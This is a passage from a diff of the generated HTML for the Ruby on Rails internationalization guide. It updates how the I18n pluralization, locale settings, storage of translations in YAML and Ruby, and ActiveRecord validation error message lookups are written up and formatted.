I18n<span style="color: #990000">.</span>translate <span style="color: #990000">:</span>thanks<span style="color: #990000">,</span> <span style="color: #990000">:</span>name <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'Jeremy'</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Thanks Jeremy!'</span></span>
-</tt></pre></div></div>
-<div class="para"><p>If a translation uses :default or :scope as a interpolation variable an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable but it has not been passed to #translate an I18n::MissingInterpolationArgument exception is raised.</p></div>
-<h3 id="_pluralization">3.3. Pluralization</h3>
-<div class="para"><p>TODO explain what this is good for</p></div>
-<div class="para"><p>The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; 'Thanks Jeremy!'</span></span></tt></pre></div></div>
+<div class="paragraph"><p>If a translation uses :default or :scope as a interpolation variable an I18n::ReservedInterpolationKey exception is raised. If a translation expects an interpolation variable but it has not been passed to #translate an I18n::MissingInterpolationArgument exception is raised.</p></div>
+<h3 id="_pluralization">4.3. Pluralization</h3>
+<div class="paragraph"><p>In English there&#8217;s only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages (<a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar">Arabic</a>, <a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja">Japanese</a>, <a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru">Russian</a> and many more) have different grammars that have additional or less <a href="http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html">plural forms</a>. Thus, the I18n API provides a flexible pluralization feature.</p></div>
+<div class="paragraph"><p>The :count interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>backend<span style="color: #990000">.</span>store_translations <span style="color: #FF0000">'en-US'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>inbox <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span> <span style="font-style: italic"><span style="color: #9A1900"># TODO change this</span></span>
+<pre><tt>I18n<span style="color: #990000">.</span>backend<span style="color: #990000">.</span>store_translations <span style="color: #990000">:</span>en<span style="color: #990000">,</span> <span style="color: #990000">:</span>inbox <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span>
<span style="color: #990000">:</span>one <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'1 message'</span><span style="color: #990000">,</span>
<span style="color: #990000">:</span>other <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'{{count}} messages'</span>
<span style="color: #FF0000">}</span>
I18n<span style="color: #990000">.</span>translate <span style="color: #990000">:</span>inbox<span style="color: #990000">,</span> <span style="color: #990000">:</span>count <span style="color: #990000">=&gt;</span> <span style="color: #993399">2</span>
-<span style="font-style: italic"><span style="color: #9A1900"># =&gt; '2 messages'</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The algorithm for pluralizations in en-US is as simple as:</p></div>
+<span style="font-style: italic"><span style="color: #9A1900"># =&gt; '2 messages'</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The algorithm for pluralizations in :en is as simple as:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>entry<span style="color: #990000">[</span>count <span style="color: #990000">==</span> <span style="color: #993399">1</span> <span style="color: #990000">?</span> <span style="color: #993399">0</span> <span style="color: #990000">:</span> <span style="color: #993399">1</span><span style="color: #990000">]</span>
-</tt></pre></div></div>
-<div class="para"><p>I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).</p></div>
-<div class="para"><p>If the lookup for the key does not return an Hash suitable for pluralization an I18n::InvalidPluralizationData exception is raised.</p></div>
-<h3 id="_setting_and_passing_a_locale">3.4. Setting and passing a locale</h3>
-<div class="para"><p>The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.</p></div>
-<div class="para"><p>If no locale is passed I18n.locale is used:</p></div>
+<pre><tt>entry<span style="color: #990000">[</span>count <span style="color: #990000">==</span> <span style="color: #993399">1</span> <span style="color: #990000">?</span> <span style="color: #993399">0</span> <span style="color: #990000">:</span> <span style="color: #993399">1</span><span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>I.e. the translation denoted as :one is regarded as singular, the other is used as plural (including the count being zero).</p></div>
+<div class="paragraph"><p>If the lookup for the key does not return an Hash suitable for pluralization an I18n::InvalidPluralizationData exception is raised.</p></div>
+<h3 id="_setting_and_passing_a_locale">4.4. Setting and passing a locale</h3>
+<div class="paragraph"><p>The locale can be either set pseudo-globally to I18n.locale (which uses Thread.current like, e.g., Time.zone) or can be passed as an option to #translate and #localize.</p></div>
+<div class="paragraph"><p>If no locale is passed I18n.locale is used:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>locale <span style="color: #990000">=</span> <span style="color: #990000">:</span><span style="color: #FF0000">'de'</span>
+<pre><tt>I18n<span style="color: #990000">.</span>locale <span style="color: #990000">=</span> <span style="color: #990000">:</span>de
I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>foo
-I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now
-</tt></pre></div></div>
-<div class="para"><p>Explicitely passing a locale:</p></div>
+I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now</tt></pre></div></div>
+<div class="paragraph"><p>Explicitely passing a locale:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>foo<span style="color: #990000">,</span> <span style="color: #990000">:</span>locale <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span><span style="color: #FF0000">'de'</span>
-I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>locale <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span><span style="color: #FF0000">'de'</span>
-</tt></pre></div></div>
-<div class="para"><p>I18n.locale defaults to I18n.default_locale which defaults to :<em>en</em>. The default locale can be set like this:</p></div>
+<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>foo<span style="color: #990000">,</span> <span style="color: #990000">:</span>locale <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>de
+I18n<span style="color: #990000">.</span>l Time<span style="color: #990000">.</span>now<span style="color: #990000">,</span> <span style="color: #990000">:</span>locale <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>de</tt></pre></div></div>
+<div class="paragraph"><p>I18n.locale defaults to I18n.default_locale which defaults to :en. The default locale can be set like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>I18n<span style="color: #990000">.</span>default_locale <span style="color: #990000">=</span> <span style="color: #990000">:</span><span style="color: #FF0000">'de'</span>
-</tt></pre></div></div>
+<pre><tt>I18n<span style="color: #990000">.</span>default_locale <span style="color: #990000">=</span> <span style="color: #990000">:</span>de</tt></pre></div></div>
</div>
-<h2 id="_how_to_store_your_custom_translations">4. How to store your custom translations</h2>
+<h2 id="_how_to_store_your_custom_translations">5. How to store your custom translations</h2>
<div class="sectionbody">
-<div class="para"><p>The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. (2)</p></div>
-<div class="para"><p>For example a Ruby Hash providing translations can look like this:</p></div>
+<div class="paragraph"><p>The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. <a href="#2">[2]</a></p></div>
+<div class="paragraph"><p>For example a Ruby Hash providing translations can look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="color: #FF0000">{</span>
- <span style="color: #990000">:</span><span style="color: #FF0000">'pt-BR'</span> <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span>
+ <span style="color: #990000">:</span>pt <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span>
<span style="color: #990000">:</span>foo <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">{</span>
<span style="color: #990000">:</span>bar <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">"baz"</span>
<span style="color: #FF0000">}</span>
<span style="color: #FF0000">}</span>
-<span style="color: #FF0000">}</span>
-</tt></pre></div></div>
-<div class="para"><p>The equivalent YAML file would look like this:</p></div>
+<span style="color: #FF0000">}</span></tt></pre></div></div>
+<div class="paragraph"><p>The equivalent YAML file would look like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">"pt-BR"</span><span style="color: #990000">:</span>
+<pre><tt>pt<span style="color: #990000">:</span>
foo<span style="color: #990000">:</span>
- bar<span style="color: #990000">:</span> baz
-</tt></pre></div></div>
-<div class="para"><p>As you see in both cases the toplevel key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".</p></div>
-<div class="para"><p>Here is a "real" example from the ActiveSupport en-US translations YAML file:</p></div>
+ bar<span style="color: #990000">:</span> baz</tt></pre></div></div>
+<div class="paragraph"><p>As you see in both cases the toplevel key is the locale. :foo is a namespace key and :bar is the key for the translation "baz".</p></div>
+<div class="paragraph"><p>Here is a "real" example from the ActiveSupport en.yml translations YAML file:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">"en"</span><span style="color: #990000">:</span>
+<pre><tt>en<span style="color: #990000">:</span>
date<span style="color: #990000">:</span>
formats<span style="color: #990000">:</span>
default<span style="color: #990000">:</span> <span style="color: #FF0000">"%Y-%m-%d"</span>
short<span style="color: #990000">:</span> <span style="color: #FF0000">"%b %d"</span>
- long<span style="color: #990000">:</span> <span style="color: #FF0000">"%B %d, %Y"</span>
-</tt></pre></div></div>
-<div class="para"><p>So, all of the following equivalent lookups will return the :short date format "%B %d":</p></div>
+ long<span style="color: #990000">:</span> <span style="color: #FF0000">"%B %d, %Y"</span></tt></pre></div></div>
+<div class="paragraph"><p>So, all of the following equivalent lookups will return the :short date format "%B %d":</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -659,59 +579,57 @@ http://www.gnu.org/software/src-highlite -->
<pre><tt>I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'date.formats.short'</span>
I18n<span style="color: #990000">.</span>t <span style="color: #FF0000">'formats.short'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">:</span>date
I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>short<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #FF0000">'date.formats'</span>
-I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>short<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>date<span style="color: #990000">,</span> <span style="color: #990000">:</span>formats<span style="color: #990000">]</span>
-</tt></pre></div></div>
-<h3 id="_translations_for_activerecord_models">4.1. Translations for ActiveRecord models</h3>
-<div class="para"><p>You can use the methods Model.human_name and Model.human_attribute_name(attribute) to transparently lookup translations for your model and attribute names.</p></div>
-<div class="para"><p>For example when you add the following translations:</p></div>
-<div class="para"><p>en:
- activerecord:
- models:
- user: Dude
- attributes:
- user:
- login: "Handle"
- # will translate User attribute "login" as "Handle"</p></div>
-<div class="para"><p>Then User.human_name will return "Dude" and User.human_attribute_name(:login) will return "Handle".</p></div>
-<h4 id="_error_message_scopes">4.1.1. Error message scopes</h4>
-<div class="para"><p>ActiveRecord validation error messages can also be translated easily. ActiveRecord gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account.</p></div>
-<div class="para"><p>This gives you quite powerful means to flexibly adjust your messages to your application's needs.</p></div>
-<div class="para"><p>Consider a User model with a validates_presence_of validation for the name attribute like this:</p></div>
+I18n<span style="color: #990000">.</span>t <span style="color: #990000">:</span>short<span style="color: #990000">,</span> <span style="color: #990000">:</span>scope <span style="color: #990000">=&gt;</span> <span style="color: #990000">[:</span>date<span style="color: #990000">,</span> <span style="color: #990000">:</span>formats<span style="color: #990000">]</span></tt></pre></div></div>
+<div class="paragraph"><p>Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date</p></div>
+<h3 id="_translations_for_activerecord_models">5.1. Translations for ActiveRecord models</h3>
+<div class="paragraph"><p>You can use the methods Model.human_name and Model.human_attribute_name(attribute) to transparently lookup translations for your model and attribute names.</p></div>
+<div class="paragraph"><p>For example when you add the following translations:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>The key for the error message in this case is :blank. So ActiveRecord will first try to look up an error message with:</p></div>
+<pre><tt>en<span style="color: #990000">:</span>
+ activerecord<span style="color: #990000">:</span>
+ models<span style="color: #990000">:</span>
+ user<span style="color: #990000">:</span> Dude
+ attributes<span style="color: #990000">:</span>
+ user<span style="color: #990000">:</span>
+ login<span style="color: #990000">:</span> <span style="color: #FF0000">"Handle"</span>
+ <span style="font-style: italic"><span style="color: #9A1900"># will translate User attribute "login" as "Handle"</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Then User.human_name will return "Dude" and User.human_attribute_name(:login) will return "Handle".</p></div>
+<h4 id="_error_message_scopes">5.1.1. Error message scopes</h4>
+<div class="paragraph"><p>ActiveRecord validation error messages can also be translated easily. ActiveRecord gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account.</p></div>
+<div class="paragraph"><p>This gives you quite powerful means to flexibly adjust your messages to your application&#8217;s needs.</p></div>
+<div class="paragraph"><p>Consider a User model with a validates_presence_of validation for the name attribute like this:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>attributes<span style="color: #990000">.</span>name<span style="color: #990000">.</span>blank
-</tt></pre></div></div>
-<div class="para"><p>If it's not there it will try:</p></div>
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> User <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
+ validates_presence_of <span style="color: #990000">:</span>name
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>The key for the error message in this case is :blank. ActiveRecord will lookup this key in the namespaces:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>blank
-</tt></pre></div></div>
-<div class="para"><p>If this is also not there it will use the default message from:</p></div>
+<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.[</span>model_name<span style="color: #990000">].</span>attributes<span style="color: #990000">.[</span>attribute_name<span style="color: #990000">]</span>
+activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.[</span>model_name<span style="color: #990000">]</span>
+activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages</tt></pre></div></div>
+<div class="paragraph"><p>Thus, in our example it will try the following keys in this order and return the first result:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>blank
-</tt></pre></div></div>
-<div class="para"><p>When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up.</p></div>
-<div class="para"><p>For example, you might have an Admin model inheriting from User:</p></div>
+<pre><tt>activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>attributes<span style="color: #990000">.</span>name<span style="color: #990000">.</span>blank
+activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>blank
+activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>blank</tt></pre></div></div>
+<div class="paragraph"><p>When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up.</p></div>
+<div class="paragraph"><p>For example, you might have an Admin model inheriting from User:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -719,9 +637,8 @@ http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Admin <span style="color: #990000">&lt;</span> User
validates_presence_of <span style="color: #990000">:</span>name
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-</tt></pre></div></div>
-<div class="para"><p>Then ActiveRecord will look for messages in this order:</p></div>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
+<div class="paragraph"><p>Then ActiveRecord will look for messages in this order:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
@@ -731,356 +648,211 @@ http://www.gnu.org/software/src-highlite -->
activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>models<span style="color: #990000">.</span>admin<span style="color: #990000">.</span>blank
activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>attributes<span style="color: #990000">.</span>title<span style="color: #990000">.</span>blank
activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>models<span style="color: #990000">.</span>user<span style="color: #990000">.</span>blank
-activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>blank
-</tt></pre></div></div>
-<div class="para"><p>This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes.</p></div>
-<h4 id="_error_message_interpolation">4.1.2. Error message interpolation</h4>
-<div class="para"><p>The translated model name and translated attribute name are always available for interpolation.</p></div>
-<div class="para"><p></p></div>
-<div class="para"><p>Count and/or value are available where applicable. Count can be used for pluralization if present:</p></div>
+activerecord<span style="color: #990000">.</span>errors<span style="color: #990000">.</span>messages<span style="color: #990000">.</span>blank</tt></pre></div></div>
+<div class="paragraph"><p>This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes.</p></div>
+<h4 id="_error_message_interpolation">5.1.2. Error message interpolation</h4>
+<div class="paragraph"><p>The translated model name and translated attribute name are always available for interpolation.</p></div>
+<div class="paragraph"><p></p></div>
+<div class="paragraph"><p>count and/or value are available where applicable. Count can be used for pluralization if present:</p></div>
<div class="tableblock">
<table rules="all"
-frame="hsides"
+width="100%"
+frame="border"
cellspacing="0" cellpadding="4">
-<col width="320" />
-<col width="194" />
-<col width="182" />
-<col width="194" />
+<col width="25%" />
+<col width="25%" />
+<col width="25%" />
+<col width="25%" />
<tbody valign="top">
- <tr>
- <td align="left">
- validation
- </td>
- <td align="left">
- with option
- </td>
- <td align="left">
- message
- </td>
- <td align="left">
- interpolation
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_confirmation_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :confirmation
- </td>
- <td align="left">
- -
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_acceptance_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :accepted
- </td>
- <td align="left">
- -
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_presence_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :blank
- </td>
- <td align="left">
- -
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_length_of
- </td>
- <td align="left">
- :within, :in
- </td>
- <td align="left">
- :too_short
- </td>
- <td align="left">
- count
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_length_of
- </td>
- <td align="left">
- :within, :in
- </td>
- <td align="left">
- :too_long
- </td>
- <td align="left">
- count
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_length_of
- </td>
- <td align="left">
- :is
- </td>
- <td align="left">
- :wrong_length
- </td>
- <td align="left">
- count
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_length_of
- </td>
- <td align="left">
- :minimum
- </td>
- <td align="left">
- :too_short
- </td>
- <td align="left">
- count
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_length_of
- </td>
- <td align="left">
- :maximum
- </td>
- <td align="left">
- :too_long
- </td>
- <td align="left">
- count
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_uniqueness_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :taken
- </td>
- <td align="left">
- value
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_format_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :invalid
- </td>
- <td align="left">
- value
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_inclusion_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :inclusion
- </td>
- <td align="left">
- value
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_exclusion_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :exclusion
- </td>
- <td align="left">
- value
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_associated
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :invalid
- </td>
- <td align="left">
- value
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_numericality_of
- </td>
- <td align="left">
- -
- </td>
- <td align="left">
- :not_a_number
- </td>
- <td align="left">
- value
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_numericality_of
- </td>
- <td align="left">
- :odd
- </td>
- <td align="left">
- :odd
- </td>
- <td align="left">
- value
- </td>
- </tr>
- <tr>
- <td align="left">
- validates_numericality_of
- </td>
- <td align="left">
- :even
- </td>
- <td align="left">
- :even
- </td>
- <td align="left">
- value
- </td>
- </tr>
+<tr>
+<td align="left"><p class="table">validation</p></td>
+<td align="left"><p class="table">with option</p></td>
+<td align="left"><p class="table">message</p></td>
+<td align="left"><p class="table">interpolation</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_confirmation_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:confirmation</p></td>
+<td align="left"><p class="table">-</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_acceptance_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:accepted</p></td>
+<td align="left"><p class="table">-</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_presence_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:blank</p></td>
+<td align="left"><p class="table">-</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_length_of</p></td>
+<td align="left"><p class="table">:within, :in</p></td>
+<td align="left"><p class="table">:too_short</p></td>
+<td align="left"><p class="table">count</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_length_of</p></td>
+<td align="left"><p class="table">:within, :in</p></td>
+<td align="left"><p class="table">:too_long</p></td>
+<td align="left"><p class="table">count</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_length_of</p></td>
+<td align="left"><p class="table">:is</p></td>
+<td align="left"><p class="table">:wrong_length</p></td>
+<td align="left"><p class="table">count</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_length_of</p></td>
+<td align="left"><p class="table">:minimum</p></td>
+<td align="left"><p class="table">:too_short</p></td>
+<td align="left"><p class="table">count</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_length_of</p></td>
+<td align="left"><p class="table">:maximum</p></td>
+<td align="left"><p class="table">:too_long</p></td>
+<td align="left"><p class="table">count</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_uniqueness_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:taken</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_format_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:invalid</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_inclusion_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:inclusion</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_exclusion_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:exclusion</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_associated</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:invalid</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_numericality_of</p></td>
+<td align="left"><p class="table">-</p></td>
+<td align="left"><p class="table">:not_a_number</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_numericality_of</p></td>
+<td align="left"><p class="table">:odd</p></td>
+<td align="left"><p class="table">:odd</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
+<tr>
+<td align="left"><p class="table">validates_numericality_of</p></td>
+<td align="left"><p class="table">:even</p></td>
+<td align="left"><p class="table">:even</p></td>
+<td align="left"><p class="table">value</p></td>
+</tr>
</tbody>
</table>
</div>
-<h4 id="_translations_for_the_activerecord_error_messages_for_helper">4.1.3. Translations for the ActiveRecord error_messages_for helper</h4>
-<div class="para"><p>If you are using the ActiveRecord error_messages_for helper you will want to add translations for it.</p></div>
-<div class="para"><p>Rails ships with the following translations:</p></div>
+<h4 id="_translations_for_the_activerecord_error_messages_for_helper">5.1.3. Translations for the ActiveRecord error_messages_for helper</h4>
+<div class="paragraph"><p>If you are using the ActiveRecord error_messages_for helper you will want to add translations for it.</p></div>
+<div class="paragraph"><p>Rails ships with the following translations:</p></div>
<div class="listingblock">
<div class="content"><!-- Generator: GNU source-highlight 2.9
by Lorenzo Bettini
http://www.lorenzobettini.it
http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">"en"</span><span style="color: #990000">:</span>
+<pre><tt>en<span style="color: #990000">:</span>
activerecord<span style="color: #990000">:</span>
errors<span style="color: #990000">:</span>
template<span style="color: #990000">:</span>
header<span style="color: #990000">:</span>
one<span style="color: #990000">:</span> <span style="color: #FF0000">"1 error prohibited this {{model}} from being saved"</span>
other<span style="color: #990000">:</span> <span style="color: #FF0000">"{{count}} errors prohibited this {{model}} from being saved"</span>
- body<span style="color: #990000">:</span> <span style="color: #FF0000">"There were problems with the following fields:"</span>
-</tt></pre></div></div>
-<h3 id="_other_translations_and_localizations">4.2. Other translations and localizations</h3>
-<div class="para"><p>Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers.</p></div>
-<div class="para"><p>TODO list helpers and available keys</p></div>
+ body<span style="color: #990000">:</span> <span style="color: #FF0000">"There were problems with the following fields:"</span></tt></pre></div></div>
+<h3 id="_other_translations_and_localizations">5.2. Other translations and localizations</h3>
+<div class="paragraph"><p>Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers.</p></div>
+<div class="paragraph"><p>TODO list helpers and available keys</p></div>
</div>
-<h2 id="_customize_your_i18n_setup">5. Customize your I18n setup</h2>
+<h2 id="_customize_your_i18n_setup">6. Customize your I18n setup</h2>
<div class="sectionbody">
-<h3 id="_using_different_backends">5.1. Using different backends</h3>
